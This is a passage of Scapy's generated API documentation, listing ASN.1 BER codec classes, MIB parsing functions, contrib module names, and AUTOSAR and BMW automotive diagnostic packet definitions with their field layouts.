classmethod dec(s: bytes, context: Type[ASN1_Class] | None = None, safe: bool = False) → Tuple[_ASN1_ERROR | ASN1_Object[_K], bytes][source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L365-L384]

	




	
classmethod do_dec(s: bytes, context: Type[ASN1_Class] | None = None, safe: bool = False) → Tuple[ASN1_Object[Any], bytes][source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L337-L363]

	




	
classmethod enc(s: _K, size_len: int | None = 0) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L394-L403]

	




	
classmethod safedec(s: bytes, context: Type[ASN1_Class] | None = None) → Tuple[_ASN1_ERROR | ASN1_Object[_K], bytes][source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L386-L392]

	




	
tag = <ASN1Tag ANY[0]>

	








	
class scapy.asn1.ber.BERcodec_PRINTABLE_STRING[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L586-L587]

	Bases: BERcodec_STRING


	
tag = <ASN1Tag PRINTABLE_STRING[19]>

	








	
class scapy.asn1.ber.BERcodec_SEQUENCE[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L626-L666]

	Bases: BERcodec_Object[Union[bytes, List[BERcodec_Object[Any]]]]


	
classmethod do_dec(s: bytes, context: Type[ASN1_Class] | None = None, safe: bool = False) → Tuple[ASN1_Object[bytes | List[Any]], bytes][source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L638-L666]

	




	
classmethod enc(_ll: bytes | List[BERcodec_Object[Any]], size_len: int | None = 0) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L629-L636]

	




	
tag = <ASN1Tag SEQUENCE[48]>

	








	
class scapy.asn1.ber.BERcodec_SET[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L669-L670]

	Bases: BERcodec_SEQUENCE


	
tag = <ASN1Tag SET[49]>

	








	
class scapy.asn1.ber.BERcodec_STRING[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L503-L521]

	Bases: BERcodec_Object[str]


	
classmethod do_dec(s: bytes, context: Type[ASN1_Class] | None = None, safe: bool = False) → Tuple[ASN1_Object[Any], bytes][source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L513-L521]

	




	
classmethod enc(_s: str | bytes, size_len: int | None = 0) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L506-L511]

	




	
tag = <ASN1Tag STRING[4]>

	








	
class scapy.asn1.ber.BERcodec_T61_STRING[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L590-L591]

	Bases: BERcodec_STRING


	
tag = <ASN1Tag T61_STRING[20]>

	








	
class scapy.asn1.ber.BERcodec_TIME_TICKS[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L709-L710]

	Bases: BERcodec_INTEGER


	
tag = <ASN1Tag TIME_TICKS[67]>

	








	
class scapy.asn1.ber.BERcodec_UNIVERSAL_STRING[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L618-L619]

	Bases: BERcodec_STRING


	
tag = <ASN1Tag UNIVERSAL_STRING[28]>

	








	
class scapy.asn1.ber.BERcodec_UTC_TIME[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L606-L607]

	Bases: BERcodec_STRING


	
tag = <ASN1Tag UTC_TIME[23]>

	








	
class scapy.asn1.ber.BERcodec_UTF8_STRING[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L578-L579]

	Bases: BERcodec_STRING


	
tag = <ASN1Tag UTF8_STRING[12]>

	








	
class scapy.asn1.ber.BERcodec_VIDEOTEX_STRING[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L594-L595]

	Bases: BERcodec_STRING


	
tag = <ASN1Tag VIDEOTEX_STRING[21]>

	








	
class scapy.asn1.ber.BERcodec_metaclass(name: str, bases: Tuple[type, ...], dct: Dict[str, Any])[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/ber.py#L270-L283]

	Bases: type








            

          

      

      

    

  

    
      
          
            
  
scapy.asn1.mib

Management Information Base (MIB) parsing


	
class scapy.asn1.mib.MIBDict(_name: str = 'DADict', **kargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/mib.py#L38-L95]

	Bases: DADict[str, str]






	
scapy.asn1.mib.load_mib(filenames: str) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/mib.py#L156-L203]

	Load the conf.mib dict from a list of filenames








            

          

      

      

    

  

    
      
          
            
  
scapy.contrib package

Package of contrib modules that have to be loaded explicitly.


Subpackages



	scapy.contrib.automotive package

	scapy.contrib.isotp package

	scapy.contrib.rtps package







Submodules



	scapy.contrib.altbeacon

	scapy.contrib.aoe

	scapy.contrib.avs

	scapy.contrib.bfd

	scapy.contrib.bgp

	scapy.contrib.bier

	scapy.contrib.bp

	scapy.contrib.cansocket

	scapy.contrib.cansocket_native

	scapy.contrib.cansocket_python_can

	scapy.contrib.carp

	scapy.contrib.cdp

	scapy.contrib.chdlc

	scapy.contrib.coap

	scapy.contrib.concox

	scapy.contrib.diameter

	scapy.contrib.dtp

	scapy.contrib.eddystone

	scapy.contrib.eigrp

	scapy.contrib.enipTCP

	scapy.contrib.erspan

	scapy.contrib.esmc

	scapy.contrib.ethercat

	scapy.contrib.etherip

	scapy.contrib.exposure_notification

	scapy.contrib.geneve

	scapy.contrib.gtp

	scapy.contrib.gtp_v2

	scapy.contrib.gxrp

	scapy.contrib.hicp

	scapy.contrib.homeplugav

	scapy.contrib.homepluggp

	scapy.contrib.homeplugsg

	scapy.contrib.http2

	scapy.contrib.ibeacon

	scapy.contrib.icmp_extensions

	scapy.contrib.ife

	scapy.contrib.igmp

	scapy.contrib.igmpv3

	scapy.contrib.ikev2

	scapy.contrib.isis

	scapy.contrib.knx

	scapy.contrib.lacp

	scapy.contrib.ldp

	scapy.contrib.lldp

	scapy.contrib.loraphy2wan

	scapy.contrib.ltp

	scapy.contrib.mac_control

	scapy.contrib.macsec

	scapy.contrib.metawatch

	scapy.contrib.modbus

	scapy.contrib.mount

	scapy.contrib.mpls

	scapy.contrib.mqtt

	scapy.contrib.mqttsn

	scapy.contrib.nfs

	scapy.contrib.nlm

	scapy.contrib.nrf_sniffer

	scapy.contrib.nsh

	scapy.contrib.oam

	scapy.contrib.oncrpc

	scapy.contrib.opc_da

	scapy.contrib.openflow

	scapy.contrib.openflow3

	scapy.contrib.ospf

	scapy.contrib.pfcp

	scapy.contrib.pim

	scapy.contrib.pnio

	scapy.contrib.pnio_dcp

	scapy.contrib.pnio_rpc

	scapy.contrib.portmap

	scapy.contrib.postgres

	scapy.contrib.ppi_cace

	scapy.contrib.ppi_geotag

	scapy.contrib.ripng

	scapy.contrib.roce

	scapy.contrib.rpl

	scapy.contrib.rpl_metrics

	scapy.contrib.rsvp

	scapy.contrib.rtcp

	scapy.contrib.rtr

	scapy.contrib.rtsp

	scapy.contrib.sdnv

	scapy.contrib.sebek

	scapy.contrib.send

	scapy.contrib.skinny

	scapy.contrib.slowprot

	scapy.contrib.socks

	scapy.contrib.stamp

	scapy.contrib.stun

	scapy.contrib.tacacs

	scapy.contrib.tcpao

	scapy.contrib.tcpros

	scapy.contrib.tzsp

	scapy.contrib.vqp

	scapy.contrib.vtp

	scapy.contrib.wireguard









            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive package

Package of contrib automotive modules that have to be loaded explicitly.


Subpackages



	scapy.contrib.automotive.autosar package

	scapy.contrib.automotive.bmw package

	scapy.contrib.automotive.gm package

	scapy.contrib.automotive.obd package

	scapy.contrib.automotive.scanner package

	scapy.contrib.automotive.volkswagen package

	scapy.contrib.automotive.xcp package







Submodules



	scapy.contrib.automotive.ccp

	scapy.contrib.automotive.doip

	scapy.contrib.automotive.ecu

	scapy.contrib.automotive.kwp

	scapy.contrib.automotive.someip

	scapy.contrib.automotive.uds

	scapy.contrib.automotive.uds_ecu_states

	scapy.contrib.automotive.uds_logging

	scapy.contrib.automotive.uds_scan









            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.autosar package

Package of contrib automotive AUTOSAR modules
that have to be loaded explicitly.


Submodules



	scapy.contrib.automotive.autosar.pdu









            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.autosar.pdu


	
class scapy.contrib.automotive.autosar.pdu.PDU(_pkt, /, *, pdu_id=0, pdu_payload_len=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/autosar/pdu.py#L16-L33]

	Bases: Packet

Single PDU Packet inside PDUTransport list.
Contains ID and payload length, and later - raw load.
It’s free to interpret using bind_layers/bind_bottom_up method

Based off this document:

https://www.autosar.org/fileadmin/standards/classic/22-11/AUTOSAR_SWS_IPDUMultiplexer.pdf # noqa: E501


	
aliastypes

	




	
extract_padding(s: bytes) → Tuple[bytes, bytes | None][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/autosar/pdu.py#L31-L33]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             PDU ID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        PDU PAYLOAD LEN                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. PDU                             


PDU fields






	pdu_id

	XIntField

	0



	pdu_payload_len

	IntField

	0















	
class scapy.contrib.automotive.autosar.pdu.PDUTransport(_pkt, /, *, pdus=[<PDU  |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/autosar/pdu.py#L36-L44]

	Bases: Packet

Packet representing PDUTransport containing multiple PDUs
FIXME: Support CAN messages as well.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              PDUS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. PDUTransport                         


PDUTransport fields






	pdus

	PacketListField

	[<PDU  |>]

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.bmw package

Package of contrib automotive bmw specific modules
that have to be loaded explicitly.


Submodules



	scapy.contrib.automotive.bmw.definitions

	scapy.contrib.automotive.bmw.enumerator

	scapy.contrib.automotive.bmw.hsfz









            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.bmw.definitions


	
class scapy.contrib.automotive.bmw.definitions.DEV_JOB(_pkt, /, *, identifier=65535)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/definitions.py#L356-L380]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           IDENTIFIER          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. DEV_JOB                           


DEV_JOB fields






	identifier

	ShortEnumField

	65535











	
identifiers = {20977: 'ControlReciprocalMonitor', 51933: 'EnableDebugCan', 57005: 'LockJtag1', 57006: 'LockJtag2', 57007: 'UnlockJtag', 62736: 'ControlFuSiIO', 65280: 'ReadTransportMessageStatus', 65296: 'ControlEthernetActivation', 65361: 'ControlPwfMaster', 65382: 'ControlWebsite', 65399: 'ControlIdleMessage', 65456: 'ReadManufacturerData', 65457: 'ReadBuildNumber', 65488: 'ReadFzmSentryStates', 65489: 'ReadFzmSlaveStates', 65490: 'ReadFzmMasterState', 65491: 'ControlLifecycle', 65493: 'IsCertificateValid', 65530: 'SetDiagRouting', 65535: 'ReadMemory'}

	




	
payload_guess

	Possible sublayers:
READ_MEM, WEBSERVER










	
class scapy.contrib.automotive.bmw.definitions.DEV_JOB_PR(_pkt, /, *, identifier=65535)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/definitions.py#L383-L390]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/definitions.py#L388-L390]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           IDENTIFIER          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. DEV_JOB_PR                          


DEV_JOB_PR fields






	identifier

	ShortEnumField

	65535











	
payload_guess

	Possible sublayers:
READ_MEM_PR, WEBSERVER










	
class scapy.contrib.automotive.bmw.definitions.DIAG_SESSION_RESP(_pkt, /, *, DIAG_SESSION_VALUE=0, DIAG_SESSION_TEXT=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/definitions.py#L336-L340]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|DIAG SESSION VA|       DIAG SESSION TEXT       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. DIAG_SESSION_RESP                      


DIAG_SESSION_RESP fields






	DIAG_SESSION_VALUE

	ByteField

	0



	DIAG_SESSION_TEXT

	StrField

	b''















	
class scapy.contrib.automotive.bmw.definitions.ENMT_REQ(_pkt, /, *, responseRequired=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/definitions.py#L148-L151]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RESPONSEREQUIRE|
+-+-+-+-+-+-+-+-+

                          Fig. ENMT_REQ                           


ENMT_REQ fields






	responseRequired

	ByteEnumField

	0















	
class scapy.contrib.automotive.bmw.definitions.IOCBLI_REQ(_pkt, /, *, inputOutputLocalIdentifier=1, inputOutputControlParameter=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/definitions.py#L69-L83]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|INPUTOUTPUTLOCA|INPUTOUTPUTCONT|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. IOCBLI_REQ                          


IOCBLI_REQ fields






	inputOutputLocalIdentifier

	ByteField

	1



	inputOutputControlParameter

	ByteEnumField

	0















	
class scapy.contrib.automotive.bmw.definitions.IP_CONFIG_RESP(_pkt, /, *, ADDRESS_FORMAT_ID=0, IP='192.168.0.10', SUBNETMASK='255.255.255.0', DEFAULT_GATEWAY='192.168.0.1')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/definitions.py#L343-L349]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|ADDRESS FORMAT |                       IP                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                   SUBNETMASK                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                DEFAULT GATEWAY                |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. IP_CONFIG_RESP                        


IP_CONFIG_RESP fields






	ADDRESS_FORMAT_ID

	ByteField

	0



	IP

	IPField

	'192.168.0.10'



	SUBNETMASK

	IPField

	'255.255.255.0'



	DEFAULT_GATEWAY

	IPField

	'192.168.0.1'















	
class scapy.contrib.automotive.bmw.definitions.RDBLI_REQ(_pkt, /, *, recordLocalIdentifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/definitions.py#L179-L182]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RECORDLOCALIDEN|
+-+-+-+-+-+-+-+-+

                          Fig. RDBLI_REQ                          


RDBLI_REQ fields






	recordLocalIdentifier

	ByteField

	0















	
class scapy.contrib.automotive.bmw.definitions.RDS2TCM_REQ(_pkt, /, *, DS2faultNumber=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/definitions.py#L169-L172]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| DS2FAULTNUMBER|
+-+-+-+-+-+-+-+-+

                         Fig. RDS2TCM_REQ                         


RDS2TCM_REQ fields






	DS2faultNumber

	ByteField

	0















	
class scapy.contrib.automotive.bmw.definitions.RDTCBS_REQ(_pkt, /, *, statusOfDTC=0, groupOfDTC=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/definitions.py#L90-L94]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  STATUSOFDTC  |           GROUPOFDTC          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. RDTCBS_REQ                          


RDTCBS_REQ fields






	statusOfDTC

	ByteEnumField

	0



	groupOfDTC

	ShortField

	0















	
class scapy.contrib.automotive.bmw.definitions.READ_MEM(_pkt, /, *, read_addr=0, read_length=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/definitions.py#L399-L403]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           READ ADDR                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          READ LENGTH                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. READ_MEM                           


READ_MEM fields






	read_addr

	IntField

	0



	read_length

	IntField

	0















	
class scapy.contrib.automotive.bmw.definitions.READ_MEM_PR(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/definitions.py#L406-L409]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. READ_MEM_PR                         


READ_MEM_PR fields






	data

	StrField

	b''















	
class scapy.contrib.automotive.bmw.definitions.REI_IDENT_REQ(_pkt, /, *, identificationDataTable=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/definitions.py#L111-L114]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|IDENTIFICATIOND|
+-+-+-+-+-+-+-+-+

                        Fig. REI_IDENT_REQ                        


REI_IDENT_REQ fields






	identificationDataTable

	ByteEnumField

	0















	
class scapy.contrib.automotive.bmw.definitions.RRRBA_REQ(_pkt, /, *, routineAddress=0, memoryTypeIdentifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/definitions.py#L189-L193]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         ROUTINEADDRESS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|MEMORYTYPEIDENT|
+-+-+-+-+-+-+-+-+

                          Fig. RRRBA_REQ                          


RRRBA_REQ fields






	routineAddress

	X3BytesField

	0



	memoryTypeIdentifier

	ByteEnumField

	0















	
class scapy.contrib.automotive.bmw.definitions.RRRBLI_REQ(_pkt, /, *, routineLocalID=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/definitions.py#L200-L203]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| ROUTINELOCALID|
+-+-+-+-+-+-+-+-+

                         Fig. RRRBLI_REQ                          


RRRBLI_REQ fields






	routineLocalID

	ByteField

	0















	
class scapy.contrib.automotive.bmw.definitions.RSODTC_REQ(_pkt, /, *, groupOfDTC=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/definitions.py#L101-L104]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           GROUPOFDTC          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. RSODTC_REQ                          


RSODTC_REQ fields






	groupOfDTC

	ShortField

	0















	
class scapy.contrib.automotive.bmw.definitions.SPRBA_REQ(_pkt, /, *, routineAddress=0, memoryTypeIdentifier=0, routineExitOption=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/definitions.py#L210-L215]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         ROUTINEADDRESS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|MEMORYTYPEIDENT|       ROUTINEEXITOPTION       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. SPRBA_REQ                          


SPRBA_REQ fields






	routineAddress

	X3BytesField

	0



	memoryTypeIdentifier

	ByteEnumField

	0



	routineExitOption

	StrField

	0















	
class scapy.contrib.automotive.bmw.definitions.SPRBLI_REQ(_pkt, /, *, localIdentifier=0, routineExitOption=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/definitions.py#L121-L141]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|LOCALIDENTIFIER|       ROUTINEEXITOPTION       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. SPRBLI_REQ                          


SPRBLI_REQ fields






	localIdentifier

	ByteEnumField

	0



	routineExitOption

	StrField

	b''















	
class scapy.contrib.automotive.bmw.definitions.STRBA_REQ(_pkt, /, *, routineAddress=0, memoryTypeIdentifier=0, routineEntryOption=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/definitions.py#L222-L227]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         ROUTINEADDRESS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|MEMORYTYPEIDENT|       ROUTINEENTRYOPTION      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. STRBA_REQ                          


STRBA_REQ fields






	routineAddress

	X3BytesField

	0



	memoryTypeIdentifier

	ByteEnumField

	0



	routineEntryOption

	StrField

	0















	
class scapy.contrib.automotive.bmw.definitions.SVK(_pkt, /, *, prog_status1=0, prog_status2=0, entries_count=0, prog_date=0, pad1=0, prog_milage=0, pad2=b'\x00\x00\x00\x00\x00', entries=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/bmw/definitions.py#L317-L333]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  PROG STATUS1 |  PROG STATUS2 |         ENTRIES COUNT         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           PROG DATE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      PAD1     |                  PROG MILAGE                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      PAD2                     |
+-+-+-+-+-+-+-+-+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            ENTRIES            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. SVK                             


SVK fields






	prog_status1

	ByteEnumField

	0



	prog_status2

	ByteEnumField

	0



	entries_count

	ShortField

	0



	prog_date

	SVK_DateField

	0



	pad1

	ByteField

	0



	prog_milage

	LEIntField

	0



	pad2

	StrFixedLenField

	b'\x00\x00\x00\x00\x00'



	entries

	PacketListField

	[]











	
